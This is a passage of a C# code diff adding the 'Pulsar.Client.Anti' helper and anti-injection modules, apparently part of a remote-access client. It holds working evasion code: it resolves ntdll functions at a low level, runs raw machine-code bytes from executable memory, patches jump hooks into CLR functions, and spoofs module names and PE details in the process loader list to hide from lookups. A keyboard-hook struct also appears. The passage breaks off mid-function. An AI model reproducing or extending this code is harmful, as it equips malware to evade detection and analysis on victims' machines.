public uint AtlThunkSListPtr32;
public IntPtr ApiSetMap;
public uint TlsExpansionCounter;
public IntPtr TlsBitmap;
public fixed uint TlsBitmapBits[2];
public IntPtr ReadOnlySharedMemoryBase;
public IntPtr SharedData;
public IntPtr ReadOnlyStaticServerData;
public IntPtr AnsiCodePageData;
public IntPtr OemCodePageData;
public IntPtr UnicodeCaseTableData;
public uint NumberOfProcessors;
public uint NtGlobalFlag;
}
[StructLayout(LayoutKind.Sequential)]
public struct KBDLLHOOKSTRUCT
{
public uint vkCode;
public uint scanCode;
public uint flags;
public uint time;
public IntPtr dwExtraInfo;
}
}
}
+746
View File
@@ -0,0 +1,746 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Globalization;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using static Pulsar.Client.Anti.Helper.Structs;
using System.Reflection;
using System.Runtime.CompilerServices;
using static Pulsar.Client.Anti.Helper.Delegates;
namespace Pulsar.Client.Anti.Helper
{
public class Utils
{
#region WinApi
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, uint ZeroBits, ref uint RegionSize, uint AllocationType, uint Protect);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern void RtlInitUnicodeString(out Structs.UNICODE_STRING DestinationString, string SourceString);
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)]
private static extern void RtlUnicodeStringToAnsiString(out Structs.ANSI_STRING DestinationString, Structs.UNICODE_STRING UnicodeString, bool AllocateDestinationString);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint LdrGetDllHandleEx(ulong Flags, [MarshalAs(UnmanagedType.LPWStr)] string DllPath, [MarshalAs(UnmanagedType.LPWStr)] string DllCharacteristics, Structs.UNICODE_STRING LibraryName, ref IntPtr DllHandle);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetModuleHandleA(string Library);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string Function);
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)]
private static extern uint LdrGetProcedureAddressForCaller(IntPtr Module, Structs.ANSI_STRING ProcedureName, ushort ProcedureNumber, out IntPtr FunctionHandle, ulong Flags, IntPtr CallBack);
[DllImport("kernelbase.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern uint GetModuleFileName(IntPtr hModule, StringBuilder lpFileName, uint nSize);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtProtectVirtualMemory(IntPtr hProcess, ref IntPtr BaseAddress, ref UIntPtr RegionSize, uint NewProtect, out uint oldProtect);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtQueryVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, uint MemoryInformationClass, ref Structs.MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength);
[DllImport("ntdll", SetLastError = true)]
private static extern uint NtClose(IntPtr hObject);
#endregion
/// <summary>
/// Gets the handle of a specified module using low-level functions.
/// </summary>
/// <param name="Library">The name of the library to get the handle for.</param>
/// <returns>The handle to the module.</returns>
public static IntPtr LowLevelGetModuleHandle(string Library)
{
if (IntPtr.Size == 4)
return GetModuleHandleA(Library);
IntPtr hModule = IntPtr.Zero;
Structs.UNICODE_STRING UnicodeString = new Structs.UNICODE_STRING();
RtlInitUnicodeString(out UnicodeString, Library);
LdrGetDllHandleEx(0, null, null, UnicodeString, ref hModule);
return hModule;
}
/// <summary>
/// Gets the address of a specified function using low-level functions.
/// </summary>
/// <param name="hModule">The handle to the module.</param>
/// <param name="Function">The name of the function to get the address for.</param>
/// <returns>The address of the function.</returns>
public static IntPtr LowLevelGetProcAddress(IntPtr hModule, string Function)
{
if (IntPtr.Size == 4)
return GetProcAddress(hModule, Function);
IntPtr FunctionHandle = IntPtr.Zero;
Structs.UNICODE_STRING UnicodeString = new Structs.UNICODE_STRING();
Structs.ANSI_STRING AnsiString = new Structs.ANSI_STRING();
RtlInitUnicodeString(out UnicodeString, Function);
RtlUnicodeStringToAnsiString(out AnsiString, UnicodeString, true);
LdrGetProcedureAddressForCaller(hModule, AnsiString, 0, out FunctionHandle, 0, IntPtr.Zero);
return FunctionHandle;
}
/// <summary>
/// Writes the struct to a pointer.
/// </summary>
/// <param name="structure">The struct.</param>
/// <param name="ptr">The pointer to the address that represents the struct.</param>
/// <param name="fDeleteOld">An indicator to whether we should delete the old struct after writing or not.</param>
/// <param name="ChangeMemoryProtection">An indicator to whether we should change the ptr memory protection before writing.</param>
/// <returns>return true if successful, otherwise false.</returns>
public static bool WriteStructToPtr<T>(T structure, IntPtr ptr, bool fDeleteOld, bool ChangeMemoryProtection)
{
try
{
if (ChangeMemoryProtection)
{
uint Old = 0;
ProtectMemory(ptr, (UIntPtr)Marshal.SizeOf(structure), PAGE_EXECUTE_READWRITE, out Old);
Marshal.StructureToPtr(structure, ptr, fDeleteOld);
ProtectMemory(ptr, (UIntPtr)Marshal.SizeOf(structure), Old, out Old);
return true;
}
else
{
Marshal.StructureToPtr(structure, ptr, fDeleteOld);
return true;
}
}
catch
{
}
return false;
}
public static string GetCurrentCLRModuleName()
{
string[] CLRs = { "clr.dll", "coreclr.dll" };
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
{
foreach (string CLR in CLRs)
{
if (module.ModuleName.ToLower() == CLR)
{
return module.ModuleName;
}
}
}
return null;
}
/// <summary>
/// Changes the page protection for an address.
/// </summary>
/// <param name="BaseAddress">The Address to change the protection for.</param>
/// <param name="RegionSize">The size of the address.</param>
/// <param name="NewProtect">The new protection to apply.</param>
/// <param name="oldProtect">The old protection if you wanna set it back again.</param>
/// <returns>return true if successfully did it's job, otherwise false.</returns>
public static bool ProtectMemory(IntPtr BaseAddress, UIntPtr RegionSize, uint NewProtect, out uint oldProtect)
{
int Status = NtProtectVirtualMemory(new IntPtr(-1), ref BaseAddress, ref RegionSize, NewProtect, out oldProtect);
if (Status == 0)
return true;
return false;
}
/// <summary>
/// Reads a byte from a specified memory address.
/// </summary>
/// <param name="ptr">The memory address to read from.</param>
/// <returns>The byte read from the memory address.</returns>
public static byte InternalReadByte(IntPtr ptr)
{
unsafe
{
try
{
byte* ptr2 = (byte*)(void*)ptr;
return *ptr2;
}
catch
{
return 0;
}
}
}
/// <summary>
/// Force exits the process even if hooked.
/// </summary>
public static void ForceExit()
{
Environment.Exit(0);
unsafe
{
int* ptr = null;
*ptr = 42;
}
throw new Exception(new Random().Next(int.MinValue, int.MaxValue).ToString());
}
/// <summary>
/// copies memory from a byte array to an IntPtr.
/// </summary>
/// <param name="dst">The IntPtr destination in which the data will be copied to.</param>
/// <param name="src">The byte array source in which the data will be copied from.</param>
public static void CopyMem(IntPtr dst, byte[] src, bool ChangeProtection)
{
unsafe
{
fixed (byte* source = src)
{
if (ChangeProtection)
{
uint oldProtect = 0;
if (ProtectMemory(dst, (UIntPtr)src.Length, 0x40, out oldProtect))
{
Marshal.Copy(src, 0, dst, src.Length);
ProtectMemory(dst, (UIntPtr)src.Length, oldProtect, out oldProtect);
}
}
else
{
Marshal.Copy(src, 0, dst, src.Length);
}
}
}
}
/// <summary>
/// copies memory from an IntPtr to a byte array.
/// </summary>
/// <param name="dst">The byte array destination in which the data will be copied to.</param>
/// <param name="src">The IntPtr source in which the data will be copied from.</param>
public static void CopyMem(byte[] dst, IntPtr src, bool ChangeProtection)
{
unsafe
{
fixed (byte* destination = dst)
{
if (ChangeProtection)
{
uint oldProtect = 0;
if (ProtectMemory(src, (UIntPtr)dst.Length, 0x40, out oldProtect))
{
Marshal.Copy(src, dst, 0, dst.Length);
ProtectMemory(src, (UIntPtr)dst.Length, oldProtect, out oldProtect);
}
}
else
{
Marshal.Copy(src, dst, 0, dst.Length);
}
}
}
}
/// <summary>
/// copies memory from an IntPtr to another.
/// </summary>
/// <param name="dst">The byte array destination in which the data will be copied to.</param>
/// <param name="src">The IntPtr source in which the data will be copied from.</param>
public static void CopyMem(IntPtr dst, IntPtr src, bool ChangeProtection)
{
int sizeDst = Marshal.SizeOf(typeof(IntPtr));
byte[] buffer = new byte[sizeDst];
if (ChangeProtection)
{
uint oldProtect = 0;
if (ProtectMemory(dst, (UIntPtr)sizeDst, 0x40, out oldProtect))
{
Marshal.Copy(src, buffer, 0, sizeDst);
Marshal.Copy(buffer, 0, dst, sizeDst);
ProtectMemory(dst, (UIntPtr)sizeDst, oldProtect, out oldProtect);
}
}
else
{
Marshal.Copy(src, buffer, 0, sizeDst);
Marshal.Copy(buffer, 0, dst, sizeDst);
}
}
/// <summary>
/// Sees if the first string contains the second string.
/// </summary>
/// <param name="First">First string to see if it contains the second string.</param>
/// <param name="Second">The second string that will be searched for.</param>
/// <returns>if the second string contains a string from the first one then the result is true, otherwise false.</returns>
public static bool Contains(string First, string Second)
{
if (CultureInfo.InvariantCulture.CompareInfo.IndexOf(First, Second, 0, First.Length, CompareOptions.OrdinalIgnoreCase) >= 0)
{
return true;
}
return false;
}
/// <summary>
/// The method which is invoked to test reflection for IsReflectionEnabled.
/// </summary>
/// <returns>a random number from 1-99</returns>
private static int TestInvoke()
{
return new Random().Next(1, 99);
}
/// <summary>
/// Checks if reflection is supported before doing reflection operations.
/// </summary>
/// <param name="FPSupport">Check if we can get a function pointer.</param>
/// <param name="InvokeSupport">Check if we can invoke another function.</param>
/// <returns>return true if reflection is enabled and supports the options you provided, otherwise false.</returns>
public static bool IsReflectionEnabled(bool FPSupport, bool InvokeSupport)
{
try
{
MethodBase BaseMethodTest = MethodBase.GetCurrentMethod().DeclaringType.GetMethod("TestInvoke", BindingFlags.NonPublic | BindingFlags.Static);
if (BaseMethodTest == null)
return false;
if (InvokeSupport)
{
if (BaseMethodTest.Invoke(null, null) == null || (int)BaseMethodTest.Invoke(null, null) == 0)
return false;
}
if (FPSupport)
{
if (GetPointer(BaseMethodTest as MethodInfo) == IntPtr.Zero)
return false;
}
return true;
}
catch
{
return false;
}
}
/// <summary>
/// Converts a cast to a stack pointer.
/// </summary>
/// <returns>The stack pointer of the cast you provided.</returns>
private static IntPtr UnsafeCastToStackPointer<T>(ref T o) where T : class
{
unsafe
{
#pragma warning disable CS8500 // This takes the address of, gets the size of, or declares a pointer to a managed type
fixed (T* ptr = &o)
{
return (IntPtr)ptr;
}
#pragma warning restore CS8500 // This takes the address of, gets the size of, or declares a pointer to a managed type
}
}
/// <summary>
/// Gets the entry assembly directly using internal .NET functions using reflection.
/// </summary>
/// <returns>if successful then it returns the entry assembly, otherwise null.</returns>
public static Assembly LowLevelGetEntryAssembly()
{
if (!IsReflectionEnabled(false, true))
return null;
Assembly EntryAsm = null;
try
{
IntPtr AsmPtr = UnsafeCastToStackPointer(ref EntryAsm);
if (AsmPtr != IntPtr.Zero)
{
Type ObjectHandleOnStackType = Type.GetType("System.Runtime.CompilerServices.ObjectHandleOnStack");
if (ObjectHandleOnStackType != null)
{
object InstanceObjectHandle = Activator.CreateInstance(ObjectHandleOnStackType);
FieldInfo mPtrFieldObjectHandle = ObjectHandleOnStackType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance);
mPtrFieldObjectHandle.SetValue(InstanceObjectHandle, AsmPtr);
Utils.CallInternalCLRFunction("GetEntryAssembly", typeof(AppDomainManager), BindingFlags.NonPublic | BindingFlags.Static, null, new object[] { InstanceObjectHandle }, null);
}
}
}
catch
{
return null;
}
return EntryAsm;
}
/// <summary>
/// Gets the currently executing assembly directly using internal .NET functions using reflection.
/// </summary>
/// <returns>if successful then it returns the executing assembly, otherwise null.</returns>
public static Assembly LowLevelGetExecutingAssembly()
{
if (!IsReflectionEnabled(false, true))
return null;
Assembly ExecutingAssembly = null;
try
{
IntPtr AsmPtr = UnsafeCastToStackPointer(ref ExecutingAssembly);
if (AsmPtr != IntPtr.Zero)
{
Type ObjectHandleOnStackType = Type.GetType("System.Runtime.CompilerServices.ObjectHandleOnStack");
Type StackCrawlMarksType = Type.GetType("System.Runtime.CompilerServices.StackCrawlMarkHandle");
if (ObjectHandleOnStackType != null && StackCrawlMarksType != null)
{
object InstanceObjectHandle = Activator.CreateInstance(ObjectHandleOnStackType);
FieldInfo mPtrFieldObjectHandle = ObjectHandleOnStackType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance);
mPtrFieldObjectHandle.SetValue(InstanceObjectHandle, AsmPtr);
Type StackCrawlMarkEnumType = Type.GetType("System.Threading.StackCrawlMark");
object LookForMyCaller = Enum.Parse(StackCrawlMarkEnumType, "LookForMyCaller");
IntPtr StackCrawlMarkPtr = UnsafeCastToStackPointer(ref LookForMyCaller);
if (StackCrawlMarkPtr != IntPtr.Zero)
{
object InstanceStackCrawl = Activator.CreateInstance(StackCrawlMarksType);
FieldInfo mPtrFieldStackCrawl = StackCrawlMarksType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance);
mPtrFieldStackCrawl.SetValue(InstanceStackCrawl, StackCrawlMarkPtr);
Utils.CallInternalCLRFunction("GetExecutingAssembly", Type.GetType("System.Reflection.RuntimeAssembly"), typeof(void), new object[] { InstanceStackCrawl, InstanceObjectHandle }, null);
}
}
}
}
catch
{
return null;
}
return ExecutingAssembly;
}
/// <summary>
/// Calls methods in the CLR which isn't normally/directly accessible.
/// </summary>
/// <param name="InternalMethod">The name of the internal function.</param>
/// <param name="InternalMethodType">The class or type that the method is in.</param>
/// <param name="Flags">The method flags which will be used to find the exact method.</param>
/// <param name="Parameters">The parameters which is used to search for the function using it, will be used instead of Flags if not left null.</param>
/// <param name="InvokeParameters">The parameters passed to the method. can be null.</param>
/// <param name="GenericParameter">The type arguments if the method is a generic method.</param>
/// <returns>the return value of the method (if any).</returns>
public static object CallInternalCLRFunction(string InternalMethod, Type InternalMethodType, BindingFlags Flags, Type[] Parameters, object[] InvokeParameters, Type GenericParameter = null)
{
try
{
if (!IsReflectionEnabled(false, true))
return null;
if (string.IsNullOrEmpty(InternalMethod) || InternalMethodType == null)
return null;
MethodInfo MI = null;
if (Parameters != null)
{
MI = InternalMethodType.GetMethod(InternalMethod, Parameters);
}
else
{
MI = InternalMethodType.GetMethod(InternalMethod, Flags);
}
if (MI.IsGenericMethod && GenericParameter != null)
{
MI = MI.MakeGenericMethod(GenericParameter);
}
if (MI != null)
{
object instance = MI.IsStatic ? null : Activator.CreateInstance(InternalMethodType);
return MI.Invoke(instance, InvokeParameters);
}
return null;
}
catch
{
return null;
}
}
/// <summary>
/// Calls methods in the CLR which isn't normally/directly accessible.
/// </summary>
/// <param name="InternalMethod">The name of the internal function.</param>
/// <param name="InternalMethodType">The class or type that the method is in.</param>
/// <param name="ReturnType">The return type of the method to be searched for.</param>
/// <param name="InvokeParameters">The parameters passed to the method. can be null.</param>
/// <param name="GenericParameter">The type arguments if the method is a generic method.</param>
/// <returns>the return value of the method (if any).</returns>
public static object CallInternalCLRFunction(string InternalMethod, Type InternalMethodType, Type ReturnType, object[] InvokeParameters, Type GenericParameter = null)
{
try
{
if (!IsReflectionEnabled(false, true))
return null;
if (string.IsNullOrEmpty(InternalMethod) || InternalMethodType == null)
return null;
MethodInfo MI = null;
foreach (MethodInfo methods in InternalMethodType.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static))
{
if (methods.Name.ToLower() == InternalMethod.ToLower())
{
if (methods.ReturnType == ReturnType)
{
MI = methods;
break;
}
}
}
if (MI.IsGenericMethod && GenericParameter != null)
{
MI = MI.MakeGenericMethod(GenericParameter);
}
if (MI != null)
{
object instance = MI.IsStatic ? null : Activator.CreateInstance(InternalMethodType);
return MI.Invoke(instance, InvokeParameters);
}
return null;
}
catch
{
return null;
}
}
private static uint PAGE_EXECUTE_READWRITE = 0x40;
private static uint MEM_RELEASE = 0x00008000;
/// <summary>
/// Gets the Process Environment Block with it's struct.
/// </summary>
/// <returns>returns the PEB.</returns>
public static PEB GetPEB()
{
byte[] PEBCode = new byte[20];
if (IntPtr.Size == 8)
PEBCode = new byte[] { 0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0xC3 };
else
PEBCode = new byte[] { 0x31, 0xC0, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0xC3 };
IntPtr AllocatedCode = AllocateCode(PEBCode);
if (AllocatedCode != IntPtr.Zero)
{
try
{
GenericPtr PebDel = (GenericPtr)Marshal.GetDelegateForFunctionPointer(AllocatedCode, typeof(GenericPtr));
IntPtr PebPtr = PebDel();
FreeCode(AllocatedCode);
if (PebPtr != IntPtr.Zero)
{
return Marshal.PtrToStructure<PEB>(PebPtr);
}
}
catch
{
FreeCode(AllocatedCode);
}
}
return new PEB();
}
/// <summary>
/// Allocates assembly code from byte array.
/// </summary>
/// <param name="Code">The assembly code in byte array.</param>
/// <returns>Allocated memory to the assembly code.</returns>
public static IntPtr AllocateCode(byte[] Code)
{
IntPtr Allocated = IntPtr.Zero;
uint Length = (uint)Code.Length;
uint Status = NtAllocateVirtualMemory(new IntPtr(-1), ref Allocated, 0, ref Length, 0x1000, PAGE_EXECUTE_READWRITE);
if (Status == 0)
{
CopyMem(Allocated, Code, false);
return Allocated;
}
return IntPtr.Zero;
}
/// <summary>
/// Frees the allocated memory.
/// </summary>
/// <param name="AllocatedCode">The allocated assembly code to be freed.</param>
/// <returns>An indicator if the memory was freed or not.</returns>
public static bool FreeCode(IntPtr AllocatedCode)
{
return VirtualFree(AllocatedCode, 0, MEM_RELEASE);
}
/// <summary>
/// Closes a handle.
/// </summary>
/// <param name="Handle">The handle to be closed.</param>
/// <returns>true if the handle has been closed, otherwise false.</returns>
public static bool CloseHandle(IntPtr Handle)
{
if (NtClose(Handle) == 0)
return true;
return false;
}
public static bool GetVirtualMemoryQuery(bool Syscall, IntPtr BaseAddress, ref MEMORY_BASIC_INFORMATION MemoryInformation, out uint ReturnLength)
{
uint Length = (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION));
uint Result = NtQueryVirtualMemory(new IntPtr(-1), BaseAddress, 0, ref MemoryInformation, Length, out ReturnLength);
if (Result == 0)
return true;
return false;
}
/// <summary>
/// Installs a function hook.
/// </summary>
/// <param name="Source">The source function pointer to be hooked.</param>
/// <param name="Destination">The destination function pointer to be the hooking function.</param>
/// <param name="Hooked">The hooked code which will be written to if you wanna hook the function later (6 bytes in length).</param>
private static bool HookFunction(IntPtr Source, IntPtr Destination, out byte[] Hooked)
{
byte[] HookCode = new byte[6];
HookCode[0] = 0x90;
HookCode[1] = 0xE9;
if (IntPtr.Size == 8)
{
long offset = Destination.ToInt64() - Source.ToInt64() - HookCode.Length;
byte[] offsetBytes = BitConverter.GetBytes(offset);
Array.Copy(offsetBytes, 0, HookCode, 2, HookCode.Length - 2);
}
else
{
long offset = Destination.ToInt32() - Source.ToInt32() - HookCode.Length;
byte[] offsetBytes = BitConverter.GetBytes((int)offset);
Array.Copy(offsetBytes, 0, HookCode, 2, HookCode.Length - 2);
}
CopyMem(Source, HookCode, true);
Hooked = HookCode;
return true;
}
/// <summary>
/// Installs/Uninstalls a hook to/from the function.
/// </summary>
/// <param name="code">The code which is hooked/unhooked to apply.</param>
/// <param name="pFunction">pointer to the function.</param>
public static void InstallOrUninstallHook(byte[] code, IntPtr pFunction)
{
CopyMem(pFunction, code, true);
}
/// <summary>
/// The whitelisted function by the hook which should get the original function pointer.
/// </summary>
/// <param name="MI">The method to get the pointer for.</param>
/// <returns>Returns the pointer if successful, otherwise IntPtr.Zero</returns>
public static IntPtr GetPointer(MethodInfo MI)
{
return MI.MethodHandle.GetFunctionPointer();
}
/// <summary>
/// The whitelisted function by the hook which should get the original function pointer from the delegate.
/// </summary>
/// <param name="MI">The method to get the pointer for.</param>
/// <returns>Returns the pointer if successful, otherwise IntPtr.Zero</returns>
public static IntPtr GetPointerDelegate(Delegate DelegateMethod)
{
if (IsReflectionEnabled(false, true))
{
return (IntPtr)CallInternalCLRFunction("GetFunctionPointerForDelegateInternal", typeof(Marshal), BindingFlags.NonPublic | BindingFlags.Static, null, new object[] { DelegateMethod });
}
return Marshal.GetFunctionPointerForDelegate(DelegateMethod);
}
/// <summary>
/// Installs a CLR hook.
/// </summary>
/// <param name="SourceFunction">The method to be hooked.</param>
/// <param name="DestinationFunction">The hook method.</param>
/// <param name="OriginalCode">The original code which will be written to if you wanna unhook the function later (6 bytes in length).</param>
/// <param name="HookedCode">The hook code which can be used to hook the function after unhooking it (6 bytes in length).</param>
/// <param name="pFunction">A pointer to the function in which you can install/uninstall hooks from using InstallOrUninstallHook function.</param>
/// <returns>Returns true if successfully hooked, otherwise false.</returns>
public static bool InstallHookCLR(MethodInfo SourceFunction, MethodInfo DestinationFunction, byte[] OriginalCode, out byte[] HookedCode, out IntPtr pFunction)
{
try
{
if (!IsReflectionEnabled(true, true))
{
HookedCode = null;
pFunction = IntPtr.Zero;
return false;
}
RuntimeHelpers.PrepareMethod(SourceFunction.MethodHandle);
RuntimeHelpers.PrepareMethod(DestinationFunction.MethodHandle);
IntPtr pSource = GetPointer(SourceFunction);
IntPtr pDestination = GetPointer(DestinationFunction);
if (pSource != IntPtr.Zero && pDestination != IntPtr.Zero)
{
if (OriginalCode != null)
CopyMem(OriginalCode, pSource, false);
if (HookFunction(pSource, pDestination, out HookedCode))
{
pFunction = pSource;
return true;
}
}
HookedCode = null;
pFunction = IntPtr.Zero;
return false;
}
catch
{
HookedCode = null;
pFunction = IntPtr.Zero;
return false;
}
}
/// <summary>
/// Installs a CLR hook using delegates, for some software that have AOT.
/// </summary>
/// <param name="SourceFunction">The method to be hooked.</param>
/// <param name="DestinationFunction">The hook method.</param>
/// <param name="OriginalCode">The original code which will be written to if you wanna unhook the function later (6 bytes in length).</param>
/// <param name="HookedCode">The hook code which can be used to hook the function after unhooking it (6 bytes in length).</param>
/// <param name="pFunction">A pointer to the function in which you can install/uninstall hooks from using InstallOrUninstallHook function.</param>
/// <returns>Returns true if successfully hooked, otherwise false.</returns>
public static bool InstallHookCLR(Delegate SourceFunction, Delegate DestinationFunction, byte[] OriginalCode, out byte[] HookedCode, out IntPtr pFunction)
{
try
{
IntPtr pSource = GetPointerDelegate(SourceFunction);
IntPtr pDestination = GetPointerDelegate(DestinationFunction);
if (pSource != IntPtr.Zero && pDestination != IntPtr.Zero)
{
if (OriginalCode != null)
CopyMem(OriginalCode, pSource, false);
if (HookFunction(pSource, pDestination, out HookedCode))
{
pFunction = pSource;
return true;
}
}
HookedCode = null;
pFunction = IntPtr.Zero;
return false;
}
catch
{
HookedCode = null;
pFunction = IntPtr.Zero;
return false;
}
}
}
}
@@ -0,0 +1,411 @@
using Pulsar.Client.Anti.Helper;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using static Pulsar.Client.Anti.Helper.Structs;
namespace Pulsar.Client.Anti.Injection
{
public static class Spoofs
{
public const int BaseAddress = 1 << 0;
public const int ModuleName = 1 << 1;
public const int AddressOfEntryPoint = 1 << 2;
public const int SizeOfImage = 1 << 3;
public const int NumberOfSections = 1 << 4;
public const int ImageMagic = 1 << 5;
public const int NotExecutableNorDll = 1 << 6;
public const int PESignature = 1 << 7;
public const int ExecutableSectionName = 1 << 8;
public const int ExecutableSectionRawSize = 1 << 9;
public const int ExecutableSectionRawPointer = 1 << 10;
public const int ClearExecutableSectionCharacteristics = 1 << 11;
public const int ExecutableSectionVirtualSize = 1 << 12;
}
public class AntiInjection
{
#region WinApi
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lib);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr ModuleHandle, string Function);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, byte[] Buffer, uint size, int NumOfBytes);
[DllImport("kernelbase.dll", SetLastError = true)]
public static extern bool SetProcessMitigationPolicy(int policy, ref Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY lpBuffer, int size);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtOpenThread(out IntPtr hThread, uint dwDesiredAccess, ref Structs.OBJECT_ATTRIBUTES ObjectAttributes, ref Structs.CLIENT_ID ClientID);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtQueryInformationThread(IntPtr ThreadHandle, int ThreadInformationClass, ref IntPtr ThreadInformation, uint ThreadInformationLength, IntPtr ReturnLength);
#endregion
/// <summary>
/// Sets the DLL load policy to only allow Microsoft-signed DLLs to be loaded.
/// </summary>
/// <returns>Returns "Success" if the policy was set successfully, otherwise "Failed".</returns>
public static string SetDllLoadPolicy()
{
Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy = new Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY
{
MicrosoftSignedOnly = 1
};
if (SetProcessMitigationPolicy(8, ref policy, Marshal.SizeOf(policy)))
return "Success";
return "Failed";
}
/// <summary>
/// Detects if an address is in range inside modules or not.
/// </summary>
/// <param name="Address">The address to check for.</param>
/// <returns>Returns true if the address is in no module, otherwise false.</returns>
private static bool IsAddressInRange(IntPtr Address)
{
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
{
IntPtr Base = module.BaseAddress;
IntPtr End = IntPtr.Add(Base, module.ModuleMemorySize);
if (Address.ToInt64() >= Base.ToInt64() && Address.ToInt64() < End.ToInt64())
{
return true;
}
}
return false;
}
/// <summary>
/// Detects if an address is in range inside modules or not.
/// </summary>
/// <param name="Syscall">Specifies whether we use syscalls for the check or not.</param>
/// <param name="CheckModuleRange">Check if the threads start address is within modules range or not.</param>
/// <returns>Returns true if no thread is injected, otherwise false.</returns>
public static bool CheckInjectedThreads()
{
uint MEM_IMAGE = 0x1000000;
uint MEM_COMMIT = 0x1000;
int ThreadQuerySetWin32StartAddress = 9;
uint THREAD_QUERY_INFORMATION = 0x0040;
int PID = Process.GetCurrentProcess().Id;
foreach (ProcessThread thread in Process.GetCurrentProcess().Threads)
{
CLIENT_ID CI = new CLIENT_ID
{
UniqueProcess = (IntPtr)PID,
UniqueThread = (IntPtr)thread.Id
};
OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES
{
Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)),
RootDirectory = IntPtr.Zero,
ObjectName = IntPtr.Zero,
Attributes = 0,
SecurityDescriptor = IntPtr.Zero,
SecurityQualityOfService = IntPtr.Zero
};
IntPtr hThread = IntPtr.Zero;
uint Status = NtOpenThread(out hThread, THREAD_QUERY_INFORMATION, ref Attributes, ref CI);
if (Status == 0 || hThread != IntPtr.Zero)
{
IntPtr StartAddress = IntPtr.Zero;
int QueryStatus = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, ref StartAddress, (uint)IntPtr.Size, IntPtr.Zero);
Utils.CloseHandle(hThread);
if (QueryStatus == 0)
{
MEMORY_BASIC_INFORMATION MBI = new MEMORY_BASIC_INFORMATION();
if (Utils.GetVirtualMemoryQuery(false, StartAddress, ref MBI, out _))
{
if (MBI.Type != MEM_IMAGE || MBI.State != MEM_COMMIT)
{
return true;
}
}
}
}
}
return false;
}
/// <summary>
/// Generate a random module name.
/// </summary>
/// <returns>the random module name.</returns>
private static string GenerateRandomString()
{
string Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
Random random = new Random();
int RandomLength = random.Next(6, 32);
char[] NewModule = new char[RandomLength];
for (int i = 0; i < RandomLength; i++)
{
NewModule[i] = Letters[random.Next(Letters.Length)];
}
return new string(NewModule);
}
private static bool IsFlagsSet(int SpoofOptions, int[] spoofs)
{
foreach (int spoofa in spoofs)
{
if ((SpoofOptions & spoofa) == spoofa)
return true;
}
return false;
}
private static bool IsPE_FlagsSet(int SpoofOptions)
{
int[] spoofs = {
Spoofs.AddressOfEntryPoint, Spoofs.SizeOfImage, Spoofs.ExecutableSectionRawSize,
Spoofs.ExecutableSectionRawPointer, Spoofs.PESignature, Spoofs.ImageMagic,
Spoofs.NotExecutableNorDll, Spoofs.NumberOfSections, Spoofs.ClearExecutableSectionCharacteristics,
Spoofs.ExecutableSectionVirtualSize
};
return IsFlagsSet(SpoofOptions, spoofs);
}
/// <summary>
/// Changes the module information at runtime to avoid modification/lookups.
/// </summary>
/// <param name="ModuleName">The module name which we will change it's information. if left null, we get the main module of the process.</param>
/// <param name="SpoofOptions">The spoofing options to apply.</param>
/// <returns>Returns true if successfully changed the module info, otherwise false.</returns>
public static bool ChangeModuleInfo(string ModuleName, int SpoofOptions)
{
try
{
string FinalModuleName = ModuleName ?? Process.GetCurrentProcess().MainModule.ModuleName;
if (string.IsNullOrEmpty(FinalModuleName))
return false;
IntPtr hModule = Utils.LowLevelGetModuleHandle(FinalModuleName);
if (hModule == IntPtr.Zero)
return false;
string Fake = $"{GenerateRandomString()}.dll";
PEB Peb = Utils.GetPEB();
_PEB_LDR_DATA Ldr = Marshal.PtrToStructure<_PEB_LDR_DATA>(Peb.Ldr);
IntPtr f = Ldr.InMemoryOrderModuleList.Flink;
Random RandGen = new Random();
for (int count = 0; count < 256 && f != IntPtr.Zero; count++)
{
_LDR_DATA_TABLE_ENTRY TableEntry = Marshal.PtrToStructure<_LDR_DATA_TABLE_ENTRY>(f);
